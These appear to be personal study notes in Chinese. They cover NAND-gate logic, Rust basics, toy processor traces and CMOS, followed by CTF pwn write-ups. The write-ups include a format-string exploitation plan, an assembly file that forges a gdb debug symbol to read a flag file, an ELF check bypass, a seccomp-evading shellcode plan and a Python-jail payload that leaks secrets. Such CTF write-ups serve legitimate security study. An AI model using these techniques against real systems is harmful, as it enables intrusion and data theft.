德摩根定理

非门(与非门构建非门)
与非门可以当非门用,将两个引脚连输入
与非门的真值表是 1110,所以只需要将单端的输入连上与非门的两个引脚,输入 00 与 输入 11 所对应的结果是 1 与 0,效果和非门相同

或门(与非门构建非门)
德摩根定理,在某个电路输入那串上非门,那输入序列顺序就会置反,使得真值表水平翻转,在某个电路输出那串上一个非门,输出信息的二进制位会置反

用之前与非门构建非门的思路来替代非门,三个与非门构建一个或门
与非门可以当非门用,将两个引脚连输入
与非门的真值表是 1110,所以只需要将单端的输入连上与非门的两个引脚,输入 00 与 输入 11 所对应的结果是 1 与 0,效果和非门相同
德摩根定理,在某个电路输入那串上非门,那输入序列顺序就会置反,使得真值表水平翻转,在某个电路输出那串上一个非门,输出信息的二进制位会置反
用之前与非门构建非门的思路来替代非门,三个与非门构建一个或门
cargo new objname 创建项目
cargo run 运行项目
cargo install --force --path . 安装 .目录下的项目,将编译好的二进制文件拷贝到~/.cargo/bin中
Rust 中,使用关键字 let 声明变量。
let x = 5;
在 Rust 中,变量默认是不可改变的(immutable),当变量不可变时,一旦值被绑定到一个名称上,这个值就不能被改变,这样的设计有助于防止意外的数据修改和并发问题。若
要使得变量可变,需要在声明时使用 mut 关键字。
let mut x = 5;
x = 10;
Rust 中常量总是不可变,声明常量使用 const 关键字而不是 let。
PC r0 r1 r2 r3
(0, 0, 0, 0, 0) # 初始状态
(1, 10, 0, 0, 0) # 执行PC为0的指令后, r0更新为10, PC更新为下一条指令的位置
(2, 10, 0, 0, 0) # 执行PC为1的指令后, r1更新为0, PC更新为下一条指令的位置
(3, 10, 0, 0, 0) # 执行PC为2的指令后, r2更新为0, PC更新为下一条指令的位置
(4, 10, 0, 0, 1) # 执行PC为3的指令后, r3更新为1, PC更新为下一条指令的位置
(5, 10, 1, 0, 1) # 执行PC为4的指令后, r1更新为r1+r3, PC更新为下一条指令的位置
(6, 10, 1, 1, 1) # 执行PC为5的指令后, r2更新为r2+r1, PC更新为下一条指令的位置
(4, 10, 1, 1, 1) # 执行PC为6的指令后, 因r1不等于r0, 故PC更新为4
(5, 10, 2, 1, 1) # 执行PC为4的指令后, r1更新为r1+r3, PC更新为下一条指令的位置
(6, 10, 2, 3, 1)
(4, 10, 2, 3, 1)
(5, 10, 3, 3, 1)
(6, 10, 3, 6, 1)
(4, 10, 3, 6, 1)
(5, 10, 4, 6, 1)
(6, 10, 4, 10, 1)
(4, 10, 4, 10, 1)
(5, 10, 5, 10, 1)
(6, 10, 5, 15, 1)
(4, 10, 5, 15, 1)
(5, 10, 6, 15, 1)
(6, 10, 6, 21, 1)
(4, 10, 6, 21, 1)
(5, 10, 7, 21, 1)
(6, 10, 7, 28, 1)
(4, 10, 7, 28, 1)
(5, 10, 8, 28, 1)
(6, 10, 8, 36, 1)
(4, 10, 8, 36, 1)
(5, 10, 9, 36, 1)
(6, 10, 9, 45, 1)
(4, 10, 9, 45, 1)
(5, 10, 10, 45, 1)
(6, 10, 10, 55, 1)
(7, 10, 10, 55, 1)
(7, 10, 10, 55, 1)
(7, 10, 10, 55, 1)
...
执行到最后 处理器处于一个死循环,不断执行指令七的状态,数列求和的结果存在r2。r0用来存储循环次数,r1用于计数,r2用于存放数列求和的结果,r3用于存放计数时的步进。
li r0,11 #0
li r1,1 #1
li r2,0 #2
li r3,2 #3
add r2,r2,r1 #4
add r1,r1,r3 #5
bner0 r1,4 #6
bner0 r3,7 #7
验证
PC r0 r1 r2 r3
(0, 0, 0, 0, 0)
(1, 11, 0, 0, 0)
(2, 11, 1, 0, 0)
(3, 11, 1, 0, 0)
(4, 11, 1, 0, 2)
(5, 11, 1, 1, 2)
(6, 11, 3, 1, 2)
(4, 11, 3, 1, 2)
(5, 11, 3, 4, 2)
(6, 11, 5, 4, 2)
(4, 11, 5, 4, 2)
(5, 11, 5, 9, 2)
(6, 11, 7, 9, 2)
(4, 11, 7, 9, 2)
(5, 11, 7, 16, 2)
(6, 11, 9, 16, 2)
(4, 11, 9, 16, 2)
(5, 11, 9, 25, 2)
(6, 11, 11, 25, 2)
(7, 11, 11, 25, 2)
(7, 11, 11, 25, 2)
(7, 11, 11, 25, 2)
...
nmos和pmos在电路图上的表示符号
当Vg- Vs较大时 nmos是的源极漏极是导通状态
当Vs - Vg较大时 pmos的源极漏极是导通状态
非门是通过一个pmos和一个nmos组成的,输入是低电平时pmos中的Vs - Vg为较大值使电源和输出导通。当输入是高电平pmos不满足导通的条件,nmos满足。
与非门的行为是当两个输入都不为1时输出1,相反。
保护全开,只有一次利用机会的栈上格式化字符串漏洞
unsigned __int64 __fastcall vuln(const char *a1)
{
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v3; // [rsp+98h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(s, 0, 0x80uLL);
printf(a1);
read(0, s, 0x80uLL);
printf(s);
return v3 - __readfsqword(0x28u);
}
在开启了pie+aslr的情况下,只有一次格式化字符串机会那很难做到劫持控制流。至少要有两次利用机会,一次用于泄露和libc相关的地址,一次用于往某个地方写写某些数据用来劫持控制流。
但可惜只有一次机会。那肯定得找一种泄露完地址后,能回到main或者是vuln再次打一次格式化字符串的方法,这类方法总是涉及到格式化字符串写数据的原语,且由于aslr和pie的影响,那找到一种爆破次数少,容易直接打通的方法还是比较困难的。
联想到非栈上格式化字符串的利用方法,发现可以找一个和返回地址相近,除了低位一个字节完全相同的指针,还有一个指向该指针的双重指针,然后通过双重指针修改另一个指针的低位使另一个指针能修改返回地址的低位来实现泄露完地址后跳回vuln或者main这些近地址上,但是在只有一次格式化字符串利用机会的情况下,需要同时做到通过双重指针修改单指针低位,和利用单指针写返回地址两个事情,glibc的printf在处理 %n$p这种包含position的表达式的时候会对所有的%n$p这类的表达式预处理,将数据拷贝到args_value中,利用单指针写回操作的时候访问到的单指针实际上是 第一次双指针操作前的缓存,可以通过这篇文章的方法去绕过printf position的预处理
https://blog.wjhwjhn.com/posts/af55bf3/#%E5%A4%9A%E6%AC%A1-printf-%E5%88%A9%E7%94%A8
解决这个问题后,劫持printf的返回地址低位来实现多次格式化字符串,往bss上写rop链最后栈迁移过去就好了
exp
题目的逻辑 run.py
#!/usr/bin/python3
from base64 import b64decode
from os import memfd_create, getpid, write, environ
from subprocess import run
import builtins
def print(*args, **kwargs):
builtins.print(*args, **kwargs, flush=True)
data = input("elf: ").strip()
elf = b64decode(data)
print("got elf")
pid = getpid()
fd = memfd_create("elf")
write(fd, elf)
tmp = f"/proc/{pid}/fd/{fd}"
env = environ.copy()
env["HOME"] = "/home/ubuntu"
handle = run(["gdb", tmp, "-ex", "list '/app/flag.txt'", "-ex", "q"], capture_output=True, check=True, encoding="utf-8", env=env, input="")
print(handle.stdout)
print("bye")
gdb中的list command会读取二进制文件的调试符号,根据调试符号的信息去查找对应的源文件名,并显示指定行号或者函数周围的代码。
可以通过伪造 “/app/flag.txt” 函数的符号去读取/app/flag.txt来获取flag
exploit.s
.file 1 "/app/flag.txt"
# 定义 "/app/flag.txt" 函数
.globl "/app/flag.txt"
.type "/app/flag.txt", @function
"/app/flag.txt":
# "/app/flag.txt" 函数的源码位于 /app/flag.txt
.loc 1 1 0
ret
.globl _start
_start:
nop
compile.sh
as --gstabs -o exploit.o exploit.s
ld -o exploit exploit.o
exp.py
description
A 同学决定让他设计的 Windows 程序更加「国际化」一些,首先要做的就是读写各种语言写下的文件名。于是他放弃 C 语言中的 char
,转而使用宽字符 wchar_t
,显然这是一个国际化的好主意。
经过一番思考,他写出了下面这样的代码,用来读入文件名:
// Read the filename
std::wstring filename;
std::getline(std::wcin, filename);
转换后要怎么打开文件呢?小 A 使用了 C++ 最常见的写法:
// Create the file object and open the file specified
std::wifstream f(filename);
可惜的是,某些版本的 C++ 编译器以及其自带的头文件中,文件名是 char
类型的,因此这并不正确。这时候小 A 灵光一闪,欸🤓👆,我为什么不做一个转换呢?于是:
std::wifstream f((char*)filename);
随便找了一个文件名测试过无误后,小 A 对自己的方案非常自信,大胆的在各个地方复用这段代码。然而,代价是什么呢?
#!/usr/bin/python3
from elf import *
from base64 import b64decode
data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)
for section in elf.sections:
if section.sh_flags & SectionFlags.EXECINSTR:
raise ValidationException("!!")
elf.run()
https://www.man7.org/linux/man-pages/man5/elf.5.html
程序检查 elf中是否存在 sh_flags设置过execinstr标志位的section来判断是否存在有可执行权限的段,但实际上段的权限和program header的p_flags标志位有关,所以可以通过修改sh_flags以及p_flags的值去绕过上面的检查执行shellcode
program_header_table是一个描述程序的每个段如何加载到内存的表,它定义了进程运行时内存布局
program_header_table的位置可以通过elf_header中PHT的偏移找到
lhj@lhj-virtual-machine:~/Desktop/squ1rrel/Extremely Lame Filters 1$ readelf -a shellcode
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401000
Start of program headers: 64 (bytes into file)
Start of section headers: 4336 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 2
Size of section headers: 64 (bytes)
Number of section headers: 5
Section header string table index: 4
成员的结构如下 每个成员的解释可以在man7中找到 https://www.man7.org/linux/man-pages/man5/elf.5.html
typedef struct {
uint32_t p_type;
uint32_t p_flags;
Elf64_Off p_offset;
Elf64_Addr p_vaddr;
Elf64_Addr p_paddr;
uint64_t p_filesz;
uint64_t p_memsz;
uint64_t p_align;
} Elf64_Phdr;
description
A few months ago, I came across this website. Inspired by it, I decided to recreate the service in C to self-host it.
To avoid any exploitable vulnerabilities, I decided to use a very strict seccomp filter. Even if my code were vulnerable, good luck exploiting it.
PS: You can find the flag at /home/ctf/flag.txt
on the remote server.
程序逻辑很简单,gets栈溢出,静态链接没有pie但是开启了seccomp
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
dev_null();
return 0;
}
__int64 dev_null()
{
char v1[8]; // [rsp+8h] [rbp-8h] BYREF
puts("[/dev/null as a service] Send us anything, we won't do anything with it.");
enable_seccomp();
return gets(v1);
}
seccomp规则,可以使用openat代替open然后read wrtie将flag读出来
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1c 0xc000003e if (A != ARCH_X86_64) goto 0030
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x19 0xffffffff if (A != 0xffffffff) goto 0030
0005: 0x15 0x18 0x00 0x00000002 if (A == open) goto 0030
0006: 0x15 0x17 0x00 0x00000003 if (A == close) goto 0030
0007: 0x15 0x16 0x00 0x00000012 if (A == pwrite64) goto 0030
0008: 0x15 0x15 0x00 0x00000014 if (A == writev) goto 0030
0009: 0x15 0x14 0x00 0x00000016 if (A == pipe) goto 0030
0010: 0x15 0x13 0x00 0x00000020 if (A == dup) goto 0030
0011: 0x15 0x12 0x00 0x00000021 if (A == dup2) goto 0030
0012: 0x15 0x11 0x00 0x00000028 if (A == sendfile) goto 0030
0013: 0x15 0x10 0x00 0x00000029 if (A == socket) goto 0030
0014: 0x15 0x0f 0x00 0x0000002c if (A == sendto) goto 0030
0015: 0x15 0x0e 0x00 0x0000002e if (A == sendmsg) goto 0030
0016: 0x15 0x0d 0x00 0x00000031 if (A == bind) goto 0030
0017: 0x15 0x0c 0x00 0x00000038 if (A == clone) goto 0030
0018: 0x15 0x0b 0x00 0x00000039 if (A == fork) goto 0030
0019: 0x15 0x0a 0x00 0x0000003a if (A == vfork) goto 0030
0020: 0x15 0x09 0x00 0x0000003b if (A == execve) goto 0030
0021: 0x15 0x08 0x00 0x00000065 if (A == ptrace) goto 0030
0022: 0x15 0x07 0x00 0x00000113 if (A == splice) goto 0030
0023: 0x15 0x06 0x00 0x00000114 if (A == tee) goto 0030
0024: 0x15 0x05 0x00 0x00000124 if (A == dup3) goto 0030
0025: 0x15 0x04 0x00 0x00000125 if (A == pipe2) goto 0030
0026: 0x15 0x03 0x00 0x00000128 if (A == pwritev) goto 0030
0027: 0x15 0x02 0x00 0x00000137 if (A == process_vm_writev) goto 0030
0028: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0030
0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0030: 0x06 0x00 0x00 0x00000000 return KILL
但是程序中找不到syscall ;ret 这类gadget,需要连续三次系统调用,想了一下直接用mprotect将bss的权限改成r | w | x的,往里面写orw_assemble直接跳过去就好了
exp
嘛,因为学校那边的事情,好久没有打ctf了,找个beginner难度的ctf热身一下
pyjail?? 题目自定义了一个person类,可以访问person类的属性,方法。题目目标只需要获取程序环境中的key,通过内置方法 mro返回的继承链数组来获取object对象,拿到object对象后就可以通过globals内置方法去检索程序中有的属性 方法拿到key
exp
Enter your secret: {person_obj.__class__.__mro__[0].__init__.__globals__}
Output: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x76a7e6a7b920>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/challenge/challenge.py', '__cached__': None, 'CONFIG': {'KEY': '_KNIGHTSECRET2025_'}, 'Person': <class '__main__.Person'>, 'fun': <function fun at 0x76a7e6a62340>, 'main': <function main at 0x76a7e6840d60>}
整数溢出,让uint溢出就好了
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+8h] [rbp-8h] BYREF
unsigned int v5; // [rsp+Ch] [rbp-4h]
v5 = 1000;
puts("Welcome to the Knight Bank!");
fflush(_bss_start);
printf("Your current balance is: %u\n", 1000LL);
fflush(_bss_start);
printf("Enter the amount you want to withdraw: ");
fflush(_bss_start);
if ( (unsigned int)__isoc99_scanf("%u", &v4) == 1 )
{
if ( v4 <= 0xF4240 )
{
v5 -= v4;
printf("You withdrew %u. Your new balance is %u.\n", v4, v5);
fflush(_bss_start);
if ( v5 <= 0xF4240 )
{
puts("Better luck next time!");
fflush(_bss_start);
}
else
{
win_prize();
}
return 0;
}
else
{
puts("Error: You cannot withdraw more than 1,000,000 at a time.");
fflush(_bss_start);
return 1;
}
}
else
{
puts("Invalid input. Exiting.");
fflush(_bss_start);
return 1;
}
}
int win_prize()
{
puts("Congratulations! You win the prize!");
fflush(_bss_start);
return system("cat flag.txt");
}
exp